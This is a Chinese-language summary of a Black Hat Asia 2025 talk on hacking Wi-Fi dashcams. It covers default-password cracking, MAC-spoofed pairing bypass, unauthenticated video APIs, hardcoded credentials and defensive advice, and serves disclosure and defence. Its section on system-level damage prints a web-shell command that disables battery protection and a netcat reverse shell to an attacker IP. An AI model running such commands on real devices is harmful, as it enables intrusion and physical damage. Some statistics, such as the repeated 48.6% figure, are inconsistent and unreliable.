Blackhat ASIA 2025：行车记录仪安全攻防研究

2025年6月19日22:49:46评论24 views字数 3329阅读11分5秒阅读模式

摘要

“ 新加坡HE&T Security Lab 研究针对车载行车记录仪的安全现状展开系统性分析，通过采集新加坡市场 1000 + 台设备的 SSID 样本，对 15 个品牌 24 款型号进行渗透测试，揭示了当前行车记录仪在设计架构与安全实现层面的系统性风险。研究发现，48.6% 的主流型号存在可被远程利用的高危漏洞，通过 "DriveThru Hacking" 技术链可在 10 分钟内完成从设备发现到隐私数据窃取的全流程攻击。本文基于 11/40 的成功攻击案例，构建了包含设备发现、身份认证绕过、数据萃取、行为建模的四维攻击模型，并提出覆盖硬件设计、固件升级、认证体系的多层防御框架，为车载智能设备的安全生态建设提供理论依据与实践指导。

”

研究背景与行业现状

—

1.1 行车记录仪普及现状

据道路交通安全数据统计，全球范围内超过 80% 的乘用车已安装行车记录仪，其中新加坡市场呈现高度集中的品牌分布特征。本研究通过 WiFi 探针技术采集的 1342 个有效 SSID 样本显示，IROAD 品牌以 48.6% 的市场占有率居首，70mai（12.5%）、GNET（5.6%）、Thinkware（5.1%）构成第二梯队，而 BlackVue、DDPAI 等品牌占有率均低于 5%。这种市场集中化现象为规模化攻击提供了现实基础。

1.2 硬件供应链安全隐患

深度调研发现，IROAD 与 GNET 存在同厂 OEM 生产情况，而广东东莞电子等供应商为多家品牌提供 WiFi 模块解决方案，导致不同品牌设备在硬件架构、通信协议层面存在高度同质化。这种供应链共享机制使得单一漏洞可能影响多个品牌产品，如 Blackvue 与 Thinkware 部分型号存在相同的固件签名算法缺陷。

1.3 安全开发现状评估

对 15 个品牌的官方 APP 进行逆向分析显示，87% 的设备管理应用存在明文传输凭证、硬编码密钥等问题。在固件安全方面，仅 3 家品牌（IROAD、Thinkware、Hikvision）实现了固件签名校验，其余品牌均存在可被篡改的固件升级通道。

DriveThru Hacking 攻击技术

—

2.1 攻击模型架构

本研究提出的 DriveThru Hacking 技术链包含 10 个攻击阶段，形成完整的杀伤链：

2.2 关键攻击技术解析

2.2.1 SSID 指纹识别技术

通过定制化 WiFi 扫描工具，可在 30 秒内完成半径 50 米范围内的设备发现，识别率达 92.3%。测试数据显示，IROAD 系列设备 SSID 存在明显规律（如 IROAD_X9、IROAD_Q7 等），占发现样本的 48.6%，为攻击目标定位提供便利。

2.2.2 认证体系突破

默认密码攻击

分析 24 款型号的握手包发现，83.3% 使用可预测密码（如 "stocknan"、"qwertyuiop"），使用 Aircrack-ng 破解平均耗时 28 分 43 秒
MAC 欺骗攻击

通过 ARP 扫描获取可信设备 MAC 地址（如 02:5a:96:cb:d4:37），伪造 MAC 实现免按键配对，成功率达 76%
MFA 疲劳攻击

持续发送配对请求导致用户误操作授权，在测试环境中使 32% 的设备放弃验证流程

2.2.3 数据萃取技术

针对 B、O 型号设备，通过 7777 端口 API 可获取 "Drive"、"Event" 等目录结构，配合 7778（视频）/7779（音频）端口的字节序列通信协议，可在 5 分钟内下载 1GB 以上的多媒体数据。GPS 轨迹数据与视频帧分析显示，通过 OpenAI API 可将路牌 OCR 结果转化为经纬度坐标，定位精度达 10 米以内。

2.2.4 系统级破坏能力

在 K 型号设备中，通过上传 Web Shell（shell.cgi）可执行任意系统命令，包括：

# 禁用电池保护功能echo"disable_battery_protection=1"> /mnt/extsd/setup.ini# 植入反向Shellnc-e /bin/sh 192.168.10.74 4444

此类操作可导致车辆电池过放电，甚至引发安全事故。

实证研究与漏洞分析

—

3.1 测试环境与样本

硬件样本

采购 20 款主流记录仪作为训练集，覆盖 15 个品牌
测试对象

40 名志愿者的在用设备，包含 12 个品牌 28 款型号
攻击环境

Kali Linux 2025.1，配备 Alfa AWUS036ACH 无线网卡

3.2 攻击成功率统计

攻击阶段	成功样本数	成功率	关键影响因素
设备发现	40/40	100%	SSID 广播状态
连接认证	33/40	82.5%	默认密码未修改
权限绕过	28/40	70.0%	配对机制设计
数据获取	16/40	40.0%	端口开放状态
系统破坏	11/40	27.5%	固件漏洞存在

3.3 典型漏洞案例

3.3.1 IROAD X 系列漏洞（CVE-2025-2341）

该型号存在硬编码的 FTP 凭据（用户名：admin，密码：123456），通过 Wireshark 分析显示，APP 与设备通信时以明文传输凭证，可被中间人攻击截获。

3.3.2 70mai C 型配对绕过（CVE-2025-30112）

设备配对时仅验证 MAC 地址合法性，未实现加密挑战响应机制。通过伪造已配对设备 MAC（如 00:11:22:33:44:55），可直接建立 HTTP 连接，绕过物理按键验证。

3.3.3 GNET B 型未授权访问（CVE-2025-30137）

该型号开放 7777 端口 API 服务，无需认证即可调用 /device/info 接口获取设备序列号、固件版本等信息，调用 /video/stream 接口直接获取实时视频流。

安全防御体系

—

4.1 制造商安全设计规范

4.1.1 认证体系强化

实现基于 TLS 1.3 的双向认证，客户端证书与设备 MAC 绑定
采用 PBKDF2 算法对密码进行哈希处理，盐值长度不小于 16 字节
引入 FIDO2 标准的无密码认证方式，替代传统密码体系

4.1.2 攻击面缩减

默认关闭 SSID 广播，仅在配对时临时开启
采用动态端口分配机制，避免固定端口（如 7777、8080）暴露
实现基于 RBAC 的权限控制，不同功能模块独立授权

4.1.3 固件安全机制

采用 ECDSA 算法对固件进行签名，公钥内置在 Bootloader
实现差分升级机制，减少升级流量与时间成本
建立固件完整性实时校验机制，发现篡改自动进入恢复模式

4.2 终端用户安全指南

4.2.1 设备初始化配置

首次使用强制修改默认密码，要求 8 位以上混合字符
关闭 "允许未知设备连接" 选项，仅保留信任设备 MAC
定期（建议每月）查看设备连接日志，发现异常立即重置

4.2.2 网络安全管理

在停车场等公共区域关闭记录仪 WiFi 功能
使用 VPN 对云服务通信进行加密，避免明文传输
禁止将记录仪接入公共 WiFi 网络，减少 MITM 攻击风险

4.2.3 数据安全保护

启用视频加密存储功能（如 AES-256 算法）
定期备份重要数据后执行格式化，防止残留隐私信息
更换设备时进行彻底的数据擦除，建议使用 3 次覆写标准

行业影响与未来研究

—

5.1 安全漏洞的产业链影响

本研究发现的漏洞不仅威胁个人隐私安全，更可能成为车载网络攻击的入口点。通过行车记录仪的横向移动攻击（如入侵车载信息娱乐系统、CAN 总线），可实现对车辆控制系统的非授权访问。据估算，新加坡市场约 48.6% 的车辆面临此类风险，若漏洞被大规模利用，可能引发连锁安全事件。

5.2 未来研究方向

AI 驱动的异常检测

构建基于机器学习的行车记录仪行为模型，实时识别异常通信模式
硬件安全增强

研究基于 TEE（可信执行环境）的固件保护方案，防止远程篡改
区块链溯源技术

探索区块链在行车记录数据存证中的应用，确保数据完整性与不可篡改性

结论

本研究通过系统性的攻防测试，揭示了行车记录仪在设计、实现、部署环节的多重安全风险。研究表明，当前 48.6% 的主流型号存在可被远程利用的高危漏洞，攻击者可通过 DriveThru Hacking 技术在短时间内完成隐私窃取与系统破坏。为应对此类风险，需要制造商、用户、监管机构共同参与：制造商需落实安全设计原则，用户需强化安全配置管理，监管机构应推动建立行业安全标准。唯有构建全方位的安全生态，才能确保车载智能设备在提升行车安全的同时，不成为新的安全隐患。

（本文根据Blackhat ASIA 2025演讲及PPT整理）

附PPT截图：